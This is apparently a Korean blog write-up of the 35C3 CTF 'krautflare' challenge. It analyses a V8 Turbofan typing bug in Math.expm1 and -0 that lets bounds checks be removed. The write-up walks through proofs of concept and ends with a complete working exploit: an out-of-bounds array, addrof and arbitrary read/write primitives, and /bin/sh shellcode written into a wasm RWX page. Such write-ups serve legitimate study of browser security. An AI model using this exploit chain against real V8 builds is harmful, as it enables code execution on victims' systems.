본문으로 바로가기

35c3 CTF krautflare

Bug analysis

그냥 문제 풀면서 공부한 내용들을 정리했습니다.

틀린 내용이 있을 수 있고 정리가 안되어있으며 두서가 몹시 없습니다. 의식의 흐름대로 작성했으니 참고만 해주시면 감사하겟습니다.

d8> %DebugPrint(-0)
DebugPrint: -0
0x282625580561: [Map]
- type: HEAP_NUMBER_TYPE
- instance size: 16
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x2826255804d1 <undefined>
- prototype_validity cell: 0
- instance descriptors (own) #0: 0x282625580259 <DescriptorArray[0]>
- layout descriptor: (nil)
- prototype: 0x2826255801d9 <null>
- constructor: 0x2826255801d9 <null>
- dependent code: 0x2826255802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

HEAP_NUMBER_TYPE : floating point number


d8> Math.expm1(-0) 
0 // Actually -0

d8> Object.is(0,0)
true
d8> Object.is(-0,+0)
false // Okay!

d8> Object.is(Math.expm1(-0), -0) // same with Object.is(0,-0)! same...?
true // WTF ??

function foo(x) {
   let res = Object.is(Math.expm1(x), -0);

   return res;
}

return type of Math.expm1의 return 값은 PlainNumber이거나 NaN이여야 함. -0은 나올 수 없는 값이다.

Object.is 말고도 atan2, division등의 -0과 0을 구분할 수 있는 방법이 존재하나 Object.is와는 다르게 atan2나 divsion은 -0을 처리 하지 못한다.

function foo(x) {
   let a = [0.1, 0.2, 0.3, 0.4];
   let b = Object.is(Math.expm1(x), -0);
   return a[b * 1337];
}

위 함수에서 변수 b의 값은 항상 0이 나올거라고 생각한 상태로 초기화를 진행한다. 따라서 checkBounds가 제거된 상태이며, 여기서Math.expm1의 취약점으로 OOB trigger가 가능하다. (근데 안됨. ??????)


Math.expm1에서 나올 수 있는 값이 plainNumber 이거나 NaN 이기 때문이다. 구조적으로 True가 나올 수가 없기때문에 checkBound가 제거 된 것이다.

function foo(x, y) {
   let a = [0.1, 0.2, 0.3, 0.4];
   let b = Object.is(Math.expm1(x), y);
   return a[b * 1337];
}

위 함수의 경우 매게변수 x,y전부 모르는 값임. 따라서 checkBounds는 제거되지 않는다.


IR for the new `foo`

실제로 확인해보면 진짜루 0부터 1337까지 잘 검사하는걸 알 수 있음.

dematerialized : "heap에 할당된 값이 stack이나 register로 옮겨진다" 정도?

SameValue node에는 태그가 지정된 유형이 필요함

ChangeFloat64ToTagged node는 -0이 될 수가 없다고 생각함 -> node 자체의 성질로 인해 -0이 0으로 바뀜 -> 의도대로 취약점을 트리거 할 수가 없음.

"Math.expm1이 -0을 리턴을 안하는데 -0이 어케되노?" 라고 turbofan은 생각했을 것이다.

하지만 Math.expm1("A")같이 string을 넘기면 오류가 아니라 NaN이 뜬다..

즉 Math.expm1 내부 구현은 숫자가 아닌 인수를 받아도 처리하도록 되어있다는 것.


NaN을 발생시켜 최적화를 시키게 되면, number, string 등 모든 매게변수에 대하여 처리할 수 있는 Call node를 얻는데, 이건 Call이 이미 태그가 지정된 값을 반환하므로 굳이 ChangeFloat64ToTagged같은걸로 태그를 안정해줘도 된다는 뜻임.

ChangeFloat64ToTagged같은건 지가 -0을 0으로 바꿈. 근데 call은 안바꿈.

%OptimizeFunctionOnNextCall()을 사용했으니 이제 Turbofan은 최적화를 통해 Math.expm1의 인자가 숫자 뿐만이 아니라 문자가 들어간다는 정보를 얻게 되엇음.

[...]
;;; deoptimize at <poc2.js:2:27>, not a Number or Oddball
[...]
Feedback updated from deoptimization at <poc2.js:2:27>, not a Number or Oddball

위는 turbofan이 피드백 받은 내용.


이번엔 매게변수 두개가 전부 미지수일때를 생각해보자.

function foo(x, y) {
   let a = [0.1, 0.2, 0.3, 0.4];
   let b = Object.is(Math.expm1(x), y);
   return a[b * 1337];
}

IR for the new `foo`

위 코드의 node들인데, SameValue부분을 보면, 아직 true인지 false인지 확인하는 부분이 존재함. 이로인해 아직까지 CheckBounds가 존재함.

위에서도 말했지만, y가 뭔 유형의 값인지(특히 -0일거라고는 생각을 못함.)를 몰라서 check 구문이 존재하는 것.

그리고 이제 escape analysis를 이용함.

function foo(x) {
   let a = [0.1, 0.2, 0.3, 0.4];
   let o = {mz: -0};
   let b = Object.is(Math.expm1(x), o.mz);
   return a[b * 1337];
}

일단 let은 block scope임. 해당 함수 말고도 다른 block에 let이라는 변수가 있을 수 있다는 의미임. 즉, 전역변수일 수 있다는 것.

위의 함수 foo에서 Object.is함수의 두번째 매게변수는 o.mz임. escape analysis 전까지는 turbofan이 o.mz가 -0이라는 것을 알 수가 없음.

만약 escape analysis를 진행하면 o가 escape하지 않음을 발견함.

따라서 heap에 할당된 값이 stack이나 레지스터로 옮겨질 것임. 그리고 -0이라는 상수가 담겼다는 것을 알았으니 simplified lowering전에 상수가 -0인 SameValue를 얻음.

여기까지 SameValue는 값을 정하지 못한 상태로 유지되어지고 있었을것.

쨌든 SameValue가 -0임을 알았음. 이러면 Object.is가 무조건 거짓일 것이라고 판단함. 왜냐하면 Math.expm1에서 -0이 나오는건 말이 안되기때문임.

이렇게 되면 당연하게도 CheckBounds는 제거 될 것이다. 그리고 여기서 북치고 장구치고 잘 하면 Math.expm1에서는 true가 나올 수 있으므로 OOB가 발생하는 것이다.

그렇다면 왜 아래 코드에서는 OOB가 안나는지 설명할 수 있어야함.

function foo(x) {
   let a = [0.1, 0.2, 0.3, 0.4];
   let b = Object.is(Math.expm1(x), -0);
   return a[b * 1337];
}

일단 Math.expm1이 -0이 나올 수 없다는걸 가정하고 있는 상태이므로, 이 코드는 "빼박" False임. 그래서 Turbofan은 절대로 True가 나올 수 없다고 생각하는 것.

그래서 Object.is의 return을 true로 만들어도 b가 0이였던 것이라고 생각하면 될듯.


PoC analysis

function foo() {
 return Object.is(Math.expm1(-0), -0);
}

console.log(foo());
%OptimizeFunctionOnNextCall(foo);
console.log(foo());

위의 코드는 Project Zero에서 제시한 PoC 코드이다. 이걸 실행시키면...

$ d8 --allow-natives-syntax expm1-poc.js
true
false

이렇게 나온다고 한다. 하지만 이 글을 읽고있는 여러분들이 테스트해보면 아래와 같이 나올것이다.

$ d8 --allow-natives-syntax expm1-poc.js
true
true

이유는 이렇다. 사실 Math.expm1에 대한 취약점은 operation-typer.cctyper.cc에서 발생하는 취약점이다. 이 때, typer.cc에서는 아래와 같이 built-in에 대한 처리를 맡는다. 반면에 operation-typer.cc에서는 built-in이 아닌 다른 경우에 대한 처리를 맡는 듯 하다. 예를들어서 이런거..?

// Opcodes for JavaScript operators.
#define JS_COMPARE_BINOP_LIST(V) \
 V(JSEqual)                     \
 V(JSStrictEqual)               \
 V(JSLessThan)                 \
 V(JSGreaterThan)               \
 V(JSLessThanOrEqual)           \
 V(JSGreaterThanOrEqual)

case BuiltinFunctionId::kMathExpm1:
     return Type::Union(Type::PlainNumber(), Type::NaN(), t->zone());

핵심적인 부분은 문제에서 주어진 디핑파일에서 볼 수 있는데, 디핑파일을 통하여 패치를 적용한 부분은 operation-typer.cc가 아니라 typer.cc부분 뿐이라는 점이다.

diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 60e7ed574a..8324dc06d7 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1491,6 +1491,7 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
    // Unary math functions.
    case BuiltinFunctionId::kMathAbs:
    case BuiltinFunctionId::kMathExp:
+   case BuiltinFunctionId::kMathExpm1:
      return Type::Union(Type::PlainNumber(), Type::NaN(), t->zone());
    case BuiltinFunctionId::kMathAcos:
    case BuiltinFunctionId::kMathAcosh:
@@ -1500,7 +1501,6 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
    case BuiltinFunctionId::kMathAtanh:
    case BuiltinFunctionId::kMathCbrt:
    case BuiltinFunctionId::kMathCos:
-   case BuiltinFunctionId::kMathExpm1:
    case BuiltinFunctionId::kMathFround:
    case BuiltinFunctionId::kMathLog:
    case BuiltinFunctionId::kMathLog1p:
diff --git a/test/mjsunit/regress/regress-crbug-880207.js b/test/mjsunit/regress/regress-crbug-880207.js
index 09796a9ff4..0f65ddb56b 100644
--- a/test/mjsunit/regress/regress-crbug-880207.js
+++ b/test/mjsunit/regress/regress-crbug-880207.js
@@ -4,34 +4,10 @@

따라서 이 문제에서 취약점은 오직 built-in function에서만 발생하며, 취약점이 발생하지 않은 이유는 "v8에서 위 PoC코드를 처리할 때, 내부적으로 built-in function을 사용하지 않았다" 라고 추측할 수 있는 것이다.

실제로 Turbolizer를 사용하여 node를 확인해보면 Float64Expm1을 사용하는데, 이 노드는 -0를 포함하는 숫자를 나타낸다.

다시 정리해보자.

위 PoC에서 Math.expm1 -> Float64Expm1 순으로 처리하게 되는데, 이 때 아래와 같이 처리한다.

Type OperationTyper::NumberExpm1(Type type) {
 DCHECK(type.Is(Type::Number()));
 return Type::Number();
}

위 함수는 Float64Expm1을 호출할 때 Typer에서 사용하는 함수일 것이라고 추측할 수 있는데, return Type::Number();로 보아 이는 -0을 포함한 모든 숫자일 것이다.

우리의 PoC가 성공적으로 작동하지 않는 것은 이 이유일 것이다.

function foo() {
 return Object.is(Math.expm1(-0), -0);
}

console.log(foo()); // 1. Math.expm1(-0)이 -0을 return, -0 == -0 이므로 true
%OptimizeFunctionOnNextCall(foo); // 2. foo()를 다음 호출때 최적화
console.log(foo()); // 3. 여기서 최적화, 1과 마찬가지로 ture 출력

취약한 버전으로 생각해보자.

Type OperationTyper::NumberExpm1(Type type) {
 DCHECK(type.Is(Type::Number()));
 return Type::Union(Type::PlainNumber(), Type::NaN(), zone());
}

오직 PlainNumberNaN만 처리해주므로, -0에 대한 처리가 없다. 여기서 취약성이 발생하는 것이다.

function foo() {
 return Object.is(Math.expm1(-0), -0);
}

console.log(foo()); // 1. Math.expm1(-0)이 -0을 return함(정의하지 않은 행동임. 원래는 -0이 나올 수 없음). -0 == -0 이므로 true
%OptimizeFunctionOnNextCall(foo); // 2. foo()를 다음 호출때 최적화
console.log(foo()); // 3. 여기서 최적화, 최적화 과정에서 turbofan은 Math.expm1에서는 -0이라는 값이 나올 수 없다고 판단함. 즉 Object.is의 return을 무조건(constant) false라고 생각하고 false 출력
// 4. 하지만 실제로는 -0이 return되고, Object.is(-0,-0) == True임.

이제 취약한 버전처럼 작동하도록 만들어야 하는데, 위에서 말했듯이 built-in을 사용하면 된다.


Trigger OOB

이제 취약점도 어느정도 이해했으니, OOB를 만들어보자.


First stage

function foo(x){
   let oob = [1.1, 1.2, 1.3, 1.4];
   let idx = Object.is(Math.expm1(x), -0);
   idx *= 1337;

   return oob[idx];
}

print("foo(0) : " + foo(0));
%OptimizeFunctionOnNextCall(foo);
foo("0");
%OptimizeFunctionOnNextCall(foo);
print("foo(0) : " + foo(0));
print("foo(-0) : " + foo(-0));
  1. 첫 출력은 당연하게도 1.1 출력

  2. foo("0")에서 최적화되는데, 이 때 foo의 인자로 문자가 들어갈 수 있다는걸 인지함.

  3. 최적화를 통해 이제 Call node를 사용하고 CheckBounds도 없음. 그럼 OOB가 되나?

  4. 그건 아님. 왜냐하면 Math.expm1(x)에서는 절대로 -0이 나올 수 없기때문임. idx는 그냥 상수 0이 되어버렸음.

  5. 그래서 나머지 출력에서도 1.1 나옴.


Second stage

function foo(x, y){
   let idx = Object.is(Math.expm1(x), y);
   let oob = [1.1, 1.2, 1.3, 1.4];
   idx *= 1337;

   return oob[idx];
}

print("foo(0) : " + foo(0, -0));
%OptimizeFunctionOnNextCall(foo);
foo("0", -0);
%OptimizeFunctionOnNextCall(foo);
print("foo(0) : " + foo(0, -0));
print("foo(-0) : " + foo(-0, -0));
  1. 일단 첫출력은 Object.is(Math.expm1(0),-0);이므로 false, 당연하게도 1.1 출력.

  2. First stage와 마찬가지로 foo의 인자에 문자가 들어갈 수 있다고 알려줌.

  3. 그럼 이제 Call node를 사용하고 취약점을 트리거 할 수 있을것임.

  4. 그렇지만 당연하게도 두번째 출력은 false임. 따라서 1.1 출력.

  5. 마지막 출력에서는 취약점이 트리거되며 Object.is(Math.expm1(-0),-0);이면 false임.

  6. (5)에 대하여 부가설명을 하자면, y가 -0인걸 보고 x가 -0일 수가 없다고 생각하여 false라고 인식했으나 (3)에 의해서 실제로는 true가 리턴된 것임.

  7. 근데 x와 y값에 대한 불확실성에 의해서 CheckBounds가 존재함.

  8. 즉 (5),(6)에 의해서 OOB가 발생했으나 (7)에 의해 undefined출력

이제 간단하게 정리를 해보면 OOB를 트리거하기 위하여 해야할 것은 이렇다.

  1. Object.is에서 두번째 매게변수가 -0이라는 사실을 turbofan에게 최대한 늦게알림.

  2. typing이 발생하는 바로 전에 두번째 매게변수가 -0이라는 사실을 알리면 Checkbounds가 해제됨.


Third stage

function foo(x){
   let aux = {mz:-0};
   let idx = Object.is(Math.expm1(x), aux.mz);
   let oob = [1.1, 1.2, 1.3, 1.4];
   idx *= 1337;

   return oob[idx];
}

print("foo(0) : "+ foo(0));
%OptimizeFunctionOnNextCall(foo);
foo("0");
%OptimizeFunctionOnNextCall(foo);
print("foo(0) : "+ foo(0));
print("foo(-0) : "+ foo(-0));
  1. 당연하게도 첫출력은 1.1

  2. 당연하게도 두번째 출력은 1.1

  3. 세번째 출력에서는 OOB 발생하며 leak 가능.

why?

Relevant Turbofan pipeline

idx가 EscapeAnalysisPhase전까지는 결정될 수가 없음. EscapeAnalysisPhase전에 결정되었다면 stage 1처럼 idx가 그냥 0이 되어버렸을것임. 하지만 EscapeAnalysisPhase가 끝난 후에 취약점이 트리거 되면 바로 OOB가 씹가능.

1566457213464

turbolizer로 확인해보면 제일 마지막에 SameValue가 결정되는 것을 볼 수 있음.

var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);

function d2u(v) {
    f64[0] = v;

    return u32;
}

function u2d(low,high) {
    u32[0] = low;
    u32[1] = high;

    return f64[0];
}

function hex(low,high) {
    return "0x" + high.toString(16) + low.toString(16);
}

var oob = undefined
function foo(x) {
    let o = {mz : -0};
    let index = Object.is(Math.expm1(x),o.mz);
    index *= 14;

    let a = [0.1,0.2,0.3,0.4,0.5];
    let b = [1.1,1.2,1.3,1.4];

    oob = b;
    a[index] = u2d(0x0,0xffffffff) // modify length of oob

    return a[index] // index * 14 is b.length
}

foo(0);
for(let i = 0; i < 100000; i++) {
    foo("0");
}

foo(-0)

OOB 를 만들었다!


Exploit

var FormatBuffer = function() {
   this.buffer = new ArrayBuffer(8);
   this.u8 = new Uint8Array(this.buffer);
   this.u32 = new Uint32Array(this.buffer);
   this.f64 = new Float64Array(this.buffer);
   this.BASE = 0x100000000;
};
let fbuf = new FormatBuffer();

var itof = function(i) {
   fbuf.u32[0] = i % fbuf.BASE;
   fbuf.u32[1] = i / fbuf.BASE;
   return fbuf.f64[0];
};

var ftoi = function(f) {
   fbuf.f64[0] = f;
   return fbuf.u32[0] + fbuf.BASE * fbuf.u32[1];
};

var hex = function(x) {
   if (x < 0)
       return `-${hex(-x)}`;
   return `0x${x.toString(16)}`;
};

var oob = undefined
function foo(x) {
    let o = {mz : -0};
    let index = Object.is(Math.expm1(x),o.mz);
    index *= 14;

    let a = [0.1,0.2,0.3,0.4,0.5];
    let b = [1.1,1.2,1.3,1.4];

    oob = b;
    a[index] = itof(0xffffffff00000000) // modify length of oob

    return a[index] // index * 14 is b.length
}

foo(0);
for(let i = 0; i < 100000; i++) {
    foo("0");
}
foo(-0);

var victim = {argv : 0x13371337};
function addrof(obj) {
victim.argv = obj;

return ftoi(oob[0xd]); // victim.argv == obj
}

var arb = new ArrayBuffer(0x100);

console.log("[*] oob array address : " + hex(addrof(oob)))
console.log("[*] victim object address : " + hex(addrof(victim)))
console.log("[*] arb buffer address : " + hex(addrof(arb)))

function aar(address) {
    oob[0x18] = itof(address) // ArrayBuffer's backing pointer overwrite
    let buf = new Float64Array(arb);

    return ftoi(buf[0]);
}

function aaw(address,data) {
    oob[0x18] = itof(address) // ArrayBuffer's backing pointer overwrite
    if(typeof data == "number") {
        let buf = new Float64Array(arb);
        buf[0] = itof(data)
    }

    else if(typeof data == "string") {
    let buf = new Uint8Array(arb);
    for(let i = 0; i < data.length; i++) {
    buf[i] = data[i].charCodeAt();
    }
}
}

let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
       
let wasmFunction = wasmInstance.exports.main;
let rwx = aar(addrof(wasmInstance) - 1 + 0xe8);
console.log("[*] rwx page address : " + hex(rwx))

let shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x48\x31\xc0\xb0\x3b\x99\x4d\x31\xd2\x0f\x05";
aaw(rwx,shellcode);

wasmFunction();

만든 OOB를 바탕으로 victim 오브젝트를 덮어서 addrof를 구현하고, ArrayBuffer를 하나 만들고 BackingStore pointer를 덮어서 arr과 aaw를 만들 수 있다.

그 뒤로는 wasm으로 RWX page만들고 주소 릭해서 덮고 호출!

어렵고 재밌는 문제였다. zz lol




Reference